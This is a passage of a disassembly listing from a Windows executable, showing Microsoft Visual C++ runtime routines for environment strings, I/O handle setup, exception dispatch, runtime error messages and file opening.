edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_42329D push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_423299 push [esp+18h+var_8] call sub_41B0B1 pop ecx mov [esp+18h+var_8], ebx loc_423299: ; CODE XREF: sub_4231D0+B9j mov ebx, [esp+18h+var_8] loc_42329D: ; CODE XREF: sub_4231D0+99j ; sub_4231D0+A8j push esi call dword_427044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: sub_4231D0+51j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: sub_4231D0+49j cmp edi, ebx jnz short loc_4232BD call dword_427040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: sub_4231D0+DFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: sub_4231D0+F6j ; sub_4231D0+FBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: sub_4231D0+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: sub_4231D0+10Dj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: sub_4231D0+111j push edi call dword_427048 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: sub_4231D0+39j ; sub_4231D0+61j ... xor eax, eax loc_4232FB: ; CODE XREF: sub_4231D0+D6j ; sub_4231D0+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4231D0 endp ; =============== S U B R O U T I N E ======================================= sub_423302 proc near ; CODE XREF: sub_41D933+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: sub_423302+16j mov dword_4DCC80, esi mov dword_4DCD80, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: sub_423302+52j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DCC80 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: sub_423302+38j lea eax, [esp+54h+var_44] push eax call dword_4271A8 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_423432 mov eax, [esp+54h+var_10] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: sub_423302+86j cmp dword_4DCD80, esi jge short loc_4233E6 mov edi, offset dword_4DCC84 loc_423399: ; CODE XREF: sub_423302+DAj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DCD80, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: sub_423302+CFj cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: sub_423302+B7j add edi, 4 cmp dword_4DCD80, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: sub_423302+A4j mov esi, dword_4DCD80 loc_4233E6: ; CODE XREF: sub_423302+90j ; sub_423302+DCj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: sub_423302+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call dword_427030 ; GetFileType test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: sub_423302+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: sub_423302+EFj ; sub_423302+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: sub_423302+65j ; sub_423302+71j ... xor ebx, ebx loc_423434: ; CODE XREF: sub_423302+195j mov eax, dword_4DCC80 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: sub_423302+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: sub_423302+14Bj push eax call dword_427034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi call dword_427030 ; GetFileType test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: sub_423302+163j ; sub_423302+16Ej or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: sub_423302+17Aj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: sub_423302+13Ej or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: sub_423302+180j ; sub_423302+185j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DCD80 call dword_427038 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_423302 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_41D933+Ao ; sub_42205D+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p ; sub_41DA4E+9p mov eax, dword_4DB9B0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A984, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DBB1C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_41DA4E+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D018 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43D0A8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D018[esi] jnz loc_423719 mov eax, dword_4DB9B0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A984, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_427070 ; GetModuleFileNameA test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43D01C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43D01C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_427034 ; GetStdHandle push eax call dword_4270E0 ; WriteFile loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DCC80 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DCD80 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DCD80, 20h lea ecx, ds:4DCC80h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCD80 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A984, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call dword_42702C ; SetStdHandle loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB93C, 0 mov dword_4DB938, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DCD80 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A984, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej call dword_42702C ; SetStdHandle loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB93C, 0 mov dword_4DB938, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB93C, 0 mov dword_4DB938, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DCC80[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax call dword_427028 ; FlushFileBuffers test eax, eax jnz short loc_42391D call dword_42708C ; RtlGetLastWin32Error jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB93C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB938, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: .packed:00429024o mov eax, dword_4DCC60 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DCC60, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DBC58, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DCC60, esi call sub_424E01 pop ecx mov dword_4DBC58, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43D0A8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DBC58 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D328 jl short loc_423990 xor edx, edx mov ecx, offset dword_43D0B8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DCC80[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43D118 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: .packed:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB978, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBB20 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DBC30, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB938, 16h mov dword_4DB93C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB940 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB93C, 0 mov dword_4DB938, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_4270EC ; CreateFileA mov esi, eax cmp esi, edi jz short loc_423BFD push esi call dword_427030 ; GetFileType test eax, eax jnz short loc_423C11 push esi call dword_427068 ; CloseHandle loc_423BFD: ; CODE XREF: sub_423A33+1B6j call dword_42708C ; RtlGetLastWin32Error push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB93C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], 